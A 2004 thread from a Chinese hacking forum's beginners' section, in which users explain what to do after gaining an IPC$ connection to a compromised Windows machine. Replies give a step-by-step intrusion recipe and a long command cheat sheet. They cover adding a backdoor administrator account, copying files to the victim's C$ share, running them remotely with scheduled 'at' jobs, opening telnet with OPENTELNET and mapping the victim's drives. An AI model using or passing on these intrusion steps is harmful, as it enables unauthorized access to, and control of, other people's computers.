20CN网络安全小组论坛 - 菜鸟乐园 - 连接肉鸡的IPC$以后，我能做什么？

论坛: 菜鸟乐园标题: 连接肉鸡的IPC$以后，我能做什么？

作者: yeah008 [yeah008]

论坛用户

……
net user user 密码 /ADD
net localgroup administrators user /add

然后：net use \\IP\ipc$ "密码" /user:"user"
如果对方全关了共享。。。我能做什么？？？
又假设对方有共享除系统盘外的盘，我又能做什么？？？

地主发表时间: 04-09-02 17:55

回复: lijingxi [lijingxi]

见习版主

连接了IPC以后能COPY文件给对方 !然后用AT 让对方执行你COPY的文件!
如果对方没有默认共享!但是开放了IPC$ 那么你IPC$以后用OPENTELNET
给对方开了TELNET 以后用TELNET 登陆到对方的计算机
用net share 开放对方的共享! 然后IPC COPY 文件!
然后在对方的TELNET 下执行文件!

B1层发表时间: 04-09-02 20:29

回复: yeah008 [yeah008]

论坛用户

OPENTELNET是工具还是命令？
用NET START TELNET命令不能开吗？

B2层发表时间: 04-09-04 18:31

回复: hackerjune [hackerjune]

论坛用户

`````````小斯写的`````````
ipc$经典入侵步骤：
1、net use \\ip\ipc$ 密码 /user:用户名
2、copy 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 时间命令
5、入侵成功，连接你的肉鸡

常用的网络命令
*net user 查看用户列表
*net user 用户名密码 /add 添加用户
*net user 用户名密码更改用户密码
*net localgroup administrators 用户名 /add 添加用户到管理组
*net user 用户名 /delete 删除用户
*net user 用户名查看用户的基本情况
*net user 用户名 /active:no 禁用该用户
*net user 用户名 /active:yes 启用该用户
*net share 查看计算机IPC$共享资源
*net share 共享名查看该共享的情况
*net share 共享名=路径设置共享。例如 net share c$=c:
*net share 共享名 /delete 删除IPC$共享
*net stop lanmanserver 关闭ipc$和默认共享依赖的服务
*net use 查看IPC$连接情况
*net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接
*net use \\ip\ipc$ /del 删除一个连接
*net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘
*net use z: /del
*net time \\ip 查看远程计算机上的时间
*copy 路径:\文件名 \\ip\共享名复制文件到已经ipc$连接的计算机上
*net view ip 查看计算机上的共享资源
*at 查看自己计算机上的计划作业
*at \\ip 查看远程计算机上的计划作业
*at \\ip 时间命令(注意加盘符) 在远程计算机上加一个作业
*at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业
*at \\ip all /delete 删除远程计算机上的全部计划作业
*at \\ip time "echo 5 > c:\t.txt" 在远程计算机上建立文本文件t.txt；

B3层发表时间: 04-09-05 08:32

回复: yeah008 [yeah008]

论坛用户

好贴

B4层发表时间: 04-09-06 10:02

回复: andychang [andychang]

论坛用户

够全面

B5层发表时间: 04-09-06 14:45

回复: linuxc [a2004]

论坛用户

你可以创建自己的超级用户嘛

B6层发表时间: 04-09-10 12:58

回复: paenz [paenz]

论坛用户

好贴

B7层发表时间: 04-09-11 14:40

回复: hackerjune [hackerjune]

论坛用户

呵呵，

B8层发表时间: 04-09-11 14:43

论坛: 菜鸟乐园